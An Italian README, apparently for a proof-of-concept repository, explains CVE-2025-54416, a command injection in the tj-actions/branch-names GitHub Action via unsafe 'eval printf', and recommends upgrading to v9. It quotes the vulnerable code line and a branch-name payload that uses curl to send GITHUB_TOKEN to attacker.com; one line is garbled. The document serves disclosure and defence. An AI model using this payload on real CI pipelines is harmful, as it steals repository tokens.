
PoC per CVE-2025-54416 tj-actions/branch-names iniezione di comandi
Questo repository dimostra CVE-2025-54416, una vulnerabilità critica di iniezione di comandi in tj-actions/branch-names che interessa oltre 5.000 repository pubblici.
L'azione GitHub tj-actions/branch-names (versioni <= 8.2.1) utilizza eval printf "%s" in modo non sicuro, reintroducendo rischi di iniezione di comandi dopo una corretta sanificazione.
# Vulnerable code pattern in tj-actions/branch-names:
echo "base_ref_branch=$(eval printf "%s" "$BASE_REF")" >> "$GITHUB_OUTPUT"
tj-actions/[email protected] per estrarre il nome del branchNome del branch: main$(curl https://attacker.com/exfil?secret=$GITHUB_TOKEN)
Quando il workflow viene eseguito:
echo "IMAGE_TAG=${{ steps.branch-name.outputs.current_branch }}"
# Actual output: IMAGE_TAG=main$(curl https://attacker.com/exfil?secret=$GITHUB_TOKEN)
# The $(...) is evaluated by the shell, exfiltrating GITHUB_TOKEN
Aggiornare a tj-actions/branch-names@v9 o successivo, che sostituisce eval printf "%s" con chiamate printf sicure.